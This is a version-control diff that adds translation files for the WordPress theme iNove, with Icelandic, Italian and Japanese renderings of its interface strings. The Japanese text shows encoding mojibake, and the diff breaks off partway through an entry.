"Logout »" +msgstr "Skrá út »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Velkomin(n) til baka, %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Breyta »" + +#: comments.php:159 +msgid "Close »" +msgstr "Loka »" + +#: comments.php:166 +msgid "Name" +msgstr "Nafn" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(nauðsynlegt)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "Tölvupóstur (verður ekki birtur)" + +#: comments.php:174 +msgid "Website" +msgstr "Vefsíða" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Gerast áskrifandi að ummælastraumi" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Senda ummæli" + +#: footer.php:17 +msgid "Top" +msgstr "Upp" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Höfundaréttur ©" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Snið eftir NeoEase. Gilt XHTML 1.1 og CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Valmynd sniðs" + +#: functions.php:194 +msgid "Search" +msgstr "Leit" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Nota leitarvél Google." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Finna name=\"cx\" í Leitarstreng Google Custom Search Engine, og skrifaðu gildið hér.
    Til dæmis: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Valmynd" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Sýna síður sem valmynd." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Sýna flokka sem valmynd." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Notice" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML virkt" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Þetta (notice bar) mun birtast efst á bloggsíðu." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Hver getur séð?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Skráðir notendur" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Ummælandi" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Gestir" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Kassi" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Þessi kassi (showcase) mun birtast efst á hliðarstiku." + +#: functions.php:329 +msgid "Title:" +msgstr "Titill:" + +#: functions.php:345 +msgid "Posts" +msgstr "Færslur" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Sýna höfund á færslum." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Sýna flokka á færslum." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Sýna tag á færslum." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Straumur" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Sérsmiðinn straumur." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Straumur í tölvupósti." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Vista breytingar" + +#: functions.php:567 +msgid "Reply" +msgstr "Svara" + +#: functions.php:568 +msgid "Quote" +msgstr "Tilvitnun" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Nánari breytingar" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Ummæli þín bíða samþykkis." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Breyta tenglum" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Gerast ´skrifandi að þessu bloggi..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Gerast áskrifandi með " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Gerast áskrifandi með tölvupósti..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Fara á heimasíðu" + +#: single.php:7 +msgid "Home" +msgstr "Heim" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/it_IT.mo Binary file web/wp-content/themes/inove/languages/it_IT.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/it_IT.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/it_IT.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,574 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: Gianni Diurno \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Italian\n" +"X-Poedit-Country: ITALY\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - articoli" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - commenti" + +#: 404.php:22 +msgid "Talker" +msgstr "Talker" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Benvenuti alla pagina errore 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Benvenuto in questa pagina dedicata agli errori. Sei arrivato qui perché probabilmente hai cliccato su di un link che non esiste più. Sono certo che non é colpa tua... così, invece di mostrarti la solita pagina 'Errore 404' che può creare un po' di confusione poiché non spiega nulla, abbiamo creato questa pagina che almeno ti informa su cosa non sta funzionando." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Puoi a tuo piacere (a) cliccare sul pulsante 'indietro' del tuo browser e provare a navigare il sito in un'altra direzione oppure (b) cliccare sul link a seguire per andare alla homepage." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Ritorna alla homepage »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Risultati della ricerca" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Keyword: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archivio" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archivio per la categoria ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Posts Tagged ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Archivio per %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Archivio autore" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Archivi del blog" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Modifica" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Nessun commento" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 commento" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% commenti" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "Commenti chiusi" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Prosegui la lettura..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "Categorie:" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "Tag: " + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Mi spiace, nessun articolo corrisponde alla tua richiesta." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Articoli recenti" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Articoli precedenti" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Lascia un commento" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Vai ai commenti" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Inserisci la tua password per poter vedere i commenti." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Commenti" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Nessun commento ancora..." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Pagine dei commenti" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s a %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "G:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Nessun trackback ancora..." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "I commenti sono chiusi." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "E' necessario che tu sia collegato per poter inserire un commento." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Collegato a nome" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Esci da questo account" + +#: comments.php:151 +msgid "Logout »" +msgstr "Esci »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Bentornato %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Cambia »" + +#: comments.php:159 +msgid "Close »" +msgstr "Chiudi »" + +#: comments.php:166 +msgid "Name" +msgstr "Nome" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(richiesto)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (non verrà diffusa)" + +#: comments.php:174 +msgid "Website" +msgstr "Sito web" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Abbonati al feed dei commenti" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Inserisci il commento" + +#: footer.php:17 +msgid "Top" +msgstr "Vai su" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Tema di NeoEase. XHTML 1.1 e CSS 3 convalidati." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Opzioni tema in uso" + +#: functions.php:194 +msgid "Search" +msgstr "Ricerca" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Usa il motore di ricerca personalizzato di Google." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Trova il name=\"cx\" nel codice Search box del Google Custom Search Engine ed inserisci qui il valore.
    Ad esempio: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Barra del menu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Mostra le pagine come menu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Mostra le categorie come menu." + +#: functions.php:231 +msgid "Sidebar" +msgstr "Sidebar" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Avviso" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML abilitato" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Questo avviso verrà mostrato in cima agli articoli nella homepage." + +#: functions.php:270 +msgid "Banner" +msgstr "Banner" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "Questa banner verrà mostrato alla destra della header. (altezza: 60 pixel)" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Per chi sarà visibile?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Utenti registrati" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Commentatori" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Visitatori" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Vetrina" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Questa bacheca verrà mostrata in cima alla sidebar." + +#: functions.php:329 +msgid "Title:" +msgstr "Titolo:" + +#: functions.php:345 +msgid "Posts" +msgstr "Articoli" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Mostra l'autore negli articoli." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Mostra le categorie negli articoli." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Mostra i tag negli articoli." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "Invia commenti con Ctrl+Enter." + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Mostra la lista dei feed reader allo scorrere del mouse sul pulsante del feed." + +#: functions.php:390 +msgid "Custom feed." +msgstr "Feed personalizzato." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Feed email." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Salva le modifiche" + +#: functions.php:567 +msgid "Reply" +msgstr "Rispondi" + +#: functions.php:568 +msgid "Quote" +msgstr "Cita" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Modifica avanzata" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Il tuo commento é in attesa di poter essere moderato." + +#: links.php:18 +msgid "Add link" +msgstr "Aggiungi link" + +#: links.php:19 +msgid "Edit links" +msgstr "Modifica link" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Abbonati a questo blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "abbonati con" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Abbonati a questo blog via email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "feed email" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Vai alla homepage" + +#: single.php:7 +msgid "Home" +msgstr "Home" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "Inserisci il termine di ricerca..." + +#~ msgid "Blogroll" +#~ msgstr "Blogroll" +#~ msgid "Author: " +#~ msgstr "Autore:" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ja.mo Binary file web/wp-content/themes/inove/languages/ja.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ja.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/ja.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,574 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:47+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: wokamoto \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Japanese\n" +"X-Poedit-Country: JAPAN\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - all posts" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - all comments" + +#: 404.php:22 +msgid "Talker" +msgstr "Talker" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "404 エラーページã¸ã‚ˆã†ã“ãï¼" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "カスタマイズã•れãŸã‚¨ãƒ©ãƒ¼ãƒšãƒ¼ã‚¸ã¸ã‚ˆã†ã“ã。
    ã‚ãªãŸã¯å­˜åœ¨ã—ãªã„リンクをクリックã—ãŸãŸã‚ã€ã“ã®ãƒšãƒ¼ã‚¸ãŒè¡¨ç¤ºã•れã¦ã„ã¾ã™ã€‚原因ã¯ã€ãŸã¶ã‚“ç§ã«ã‚りã¾ã™ãŒ...
    ã›ã‚ã¦ã‚‚ã®ãŠè©«ã³ã«åŸºæœ¬çš„㪠"404エラーページ" ã‚’ã‚ãªãŸã«è¦‹ã›ã‚‹ä»£ã‚りã«ã€ä½•ãŒæ”¯éšœã‚’ããŸã—ãŸã‹ã‚’説明ã™ã‚‹ã“ã®ãƒšãƒ¼ã‚¸ã‚’作æˆã—ã¾ã—ãŸã€‚" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "(a) ブラウザã®"戻る"ボタンをクリックã—ã¦ã€ä»¥å‰ã«è¡¨ç¤ºã—ã¦ã„ãŸãƒšãƒ¼ã‚¸ã«æˆ»ã‚‹ã‹
    (b) ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã«æˆ»ã‚‹ãŸã‚ã«ä»¥ä¸‹ã®ãƒªãƒ³ã‚¯ã‚’クリックã—ã¦ãã ã•ã„。" + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã¸æˆ»ã‚‹ »" + +#: archive.php:10 +msgid "Search Results" +msgstr "æ¤œç´¢çµæžœ" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "キーワード: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "アーカイブ" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ カテゴリーã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "‘%1$s’ ã‚¿ã‚°ã®ã¤ã„ã¦ã„る投稿" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s ã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "Y å¹´ n 月 j æ—¥" + +#: archive.php:28 +msgid "F, Y" +msgstr "Y å¹´ n 月" + +#: archive.php:31 +msgid "Y" +msgstr "Y å¹´" + +#: archive.php:34 +msgid "Author Archive" +msgstr "投稿者ã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "ブログアーカイブ" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "編集" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "コメントã¯ã‚りã¾ã›ã‚“" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "コメント 1 ä»¶" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "コメント % ä»¶" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "ç¶šãを読む..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "カテゴリー: " + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "ã‚¿ã‚°: " + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "該当ã™ã‚‹æŠ•稿ã¯è¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "æ–°ã—ã„æŠ•ç¨¿" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "以å‰ã®æŠ•稿" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "コメントをã©ã†ãž" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "コメント" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "ã“ã®æŠ•ç¨¿ã¯ãƒ‘スワードã§ä¿è­·ã•れã¦ã„ã¾ã™ã€‚コメントを閲覧ã™ã‚‹ã«ã¯ãƒ‘スワードを入力ã—ã¦ãã ã•ã„。" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "コメント" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "トラックãƒãƒƒã‚¯" + +#: comments.php:34 +msgid "Trackback" +msgstr "トラックãƒãƒƒã‚¯URL" + +#: comments.php:58 +msgid "No comments yet." +msgstr "コメントã¯ã¾ã ã‚りã¾ã›ã‚“。" + +#: comments.php:72 +msgid "Comment pages" +msgstr "コメントページ" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "トラックãƒãƒƒã‚¯ã¯ã¾ã ã‚りã¾ã›ã‚“。" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "コメントã¯å—ã‘付ã‘ã¦ã„ã¾ã›ã‚“。" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "コメントを投稿ã™ã‚‹ã«ã¯ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ãã ã•ã„。" + +#: comments.php:150 +msgid "Logged in as" +msgstr "ログイン中" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‹ã‚‰ãƒ­ã‚°ã‚¢ã‚¦ãƒˆ" + +#: comments.php:151 +msgid "Logout »" +msgstr "ログアウト »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "ãŠå¸°ã‚Šãªã•ã„ %s." + +#: comments.php:158 +msgid "Change »" +msgstr "変更ã™ã‚‹ »" + +#: comments.php:159 +msgid "Close »" +msgstr "é–‰ã˜ã‚‹ »" + +#: comments.php:166 +msgid "Name" +msgstr "ãŠåå‰" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(å¿…é ˆ)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "メール (公開ã•れã¾ã›ã‚“)" + +#: comments.php:174 +msgid "Website" +msgstr "ウェブサイト" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "コメントフィードをRSSリーダーã§è³¼èª­ã™ã‚‹" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "コメントé€ä¿¡" + +#: footer.php:17 +msgid "Top" +msgstr "トップ" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "テーマã®è¨­å®š" + +#: functions.php:194 +msgid "Search" +msgstr "検索" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Google カスタムサーãƒã‚¨ãƒ³ã‚¸ãƒ³ã‚’使用ã™ã‚‹ã€‚" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
